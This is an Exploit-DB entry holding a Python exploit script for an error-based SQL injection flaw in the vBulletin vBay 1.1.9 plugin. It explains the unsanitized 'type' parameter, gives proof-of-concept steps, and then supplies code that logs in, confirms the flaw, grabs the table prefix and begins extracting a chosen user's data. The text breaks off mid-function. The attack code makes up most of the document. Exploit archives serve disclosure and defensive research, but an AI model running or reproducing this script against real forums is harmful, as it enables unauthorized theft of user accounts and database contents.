Exploit-DB #22656
Description: vBulletin vBay 1.1.9 - Error-Based SQL Injection
Type: webapps
Platform: php
Date: 2012-11-12
Author: Dan UK

Exploit:
#!/usr/bin/env python -W ignore::DeprecationWarning
 
"""
 
   VBay <= 1.1.9 - Remote Error based SQL Injection
   
                        ~ Author:  Dan UK
                        ~ Contact: http://www.hackforums.net/member.php?action=profile&uid=817599
                        ~ Date:    10/11/12
         
           DETAILS
           Among a couple of other unsanitized parameters used within an INSERT INTO statement
           on line 424-460 of /upload/vbay.php, the "type" variable can be used to exploit this
           using error based sql injection, making it possible to grab anything the user wants
           from the vbulletin database (and any others if accessible).
   
           As said above, the affected file is /upload/vbay.php.
           On line 418, we can see the $vbulletin->input variable "type"
           being assigned with the datatype NO_HTML. Using this data type
           allows malicious attacks to still be executed.
   
           At line 448, it is used within the insert into statement,
           without any sanitization.
   
         
           POC
           - You will need to register an account.
           - Go to [site]/vbay.php?do=postauction.
           - Modify your post data using a tool such as live http headers, or setting it directly
             using a tool such as curl/wget to grab the source.
           - Set the value of "type=" to something that will cause an error, such as a single tick.
             Example: POST type='
           - If, when you view the source, you get a vbulletin error message surrounded within
             comments, then it's possible to go ahead. If not, blind is the way forward.
   
           If error based is possible for you, you could either just simply look at some tutorials
           and go from there, or run the script below which will grab the details for the user specified.
   
           Have fun.
 
"""
 
from optparse import OptionParser, OptionGroup
from argparse import OPTIONAL
import cookielib, urllib, urllib2, httplib
import sys, md5, urlparse, re
 
"""
OPTION PARSER/USAGE
"""
usage = "./%prog [options]\n"
usage += "-h or --help for more help."
 
# Required options
parser = OptionParser(usage=usage)
parser.add_option("-u", dest="username",
                  help="Working username to the target forum.")
parser.add_option("-p", dest="password",
                  help="Working password to the target forum.")
parser.add_option("--host", dest="forumpath",
                  help="FULL path to the vbulletin forum.")
 
# Optional Options
optional = OptionGroup(parser, "Optional arguments")
optional.add_option("-f", dest="userid",
                    help="User ID to grab. Default is 1.", metavar="USERID",
                    default="1")
optional.add_option("-s", dest="prefix",
                    help="Set the prefix of the vBulletin forum\
                         Default is null.", default="")
optional.add_option("-g", "--grab-prefix", dest="grabprefix",
                    help="Grab the tables prefix.", default=False,
                    action="store_true")
 
parser.add_option_group(optional)
 
(options, args) = parser.parse_args()
 
if not options.forumpath:
    parser.error('[-] No forum path given.')
if not options.username:
    parser.error('[-] No username given.')
if not options.[CREDENTIAL_REDACTED].error('[-] No password given.')
 
 
"""
HEADER
"""
def Header():
    header = """
# # # # # # # # # # # # # # # # # #
# VBay <=1.1.9 SQL Injection 0day #
#            By Dan_UK            #
# # # # # # # # # # # # # # # # # #\n"""
    return header
 
"""
LOGIN AND EXTRACT NEEDED COOKIES
"""
def loginForum(forum, username, password):
    md5pass = md5.md5(password).hexdigest()
    postdata = urllib.urlencode({
                'do':'login',
                'vb_login_md5password':md5pass,
                'vb_login_username':username,
                'cookieuser':'1'
               })
    cookie_jar = cookielib.CookieJar()
    handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
    handeler.open(forum + "login.php?do=login", postdata)
   
    for cookie in cookie_jar:
        if "bbsessionhash" in str(cookie):
            return cookie_jar
 
 
"""
CHECK VBAY EXISTS
"""
def get_server_status_code(forum):
    host, path = urlparse.urlparse(forum)[1:3]
    try:
        conn = httplib.HTTPConnection(host)
        conn.request('HEAD', path)
        return conn.getresponse().status
    except StandardError:
        return None
 
def checkExists(forum):
    good_codes = [httplib.OK, httplib.FOUND, httplib.MOVED_PERMANENTLY]
    return get_server_status_code(forum + "vbay.php") in good_codes
 
"""
CHECK DEBUG MODE ENABLED
"""
def checkVuln(forum, cookie_jar):
    payload = {
               "POST":
                      urllib.urlencode({"type":"'"}),
               "SCRIPT":"vbay.php?do=postauction"
              }
    try:
        handeler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
        resp = handeler.open(forum + payload["SCRIPT"], payload["POST"])
    except urllib2.HTTPError as e:
        e_mesg = e.read()
       
    if "MySQL Error" in e_mesg:
        return True
 
"""
GRAB PREFIX
"""
def grabPrefix(forum, cookie_jar):
    payload = {
               "SQL":urllib.urlencode({"type":"'"}),
               "SCRIPT":"vbay.php?do=postauction"
              }
   
    try:
        handler = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
        resp = handler.open(forum + payload["SCRIPT"], payload["SQL"])
    except urllib2.HTTPError as e:
        e_mesg = e.read()
   
    prefix = re.search('INTO(.*)vbay_items', e_mesg).group(1)
    return prefix
       
   
 
"""
GRAB INFO
"""
def grabInfo(forum, cookie_jar, prefix, userid):
    # 0x2564656c696d312125 = "%delim1!%"
    payload =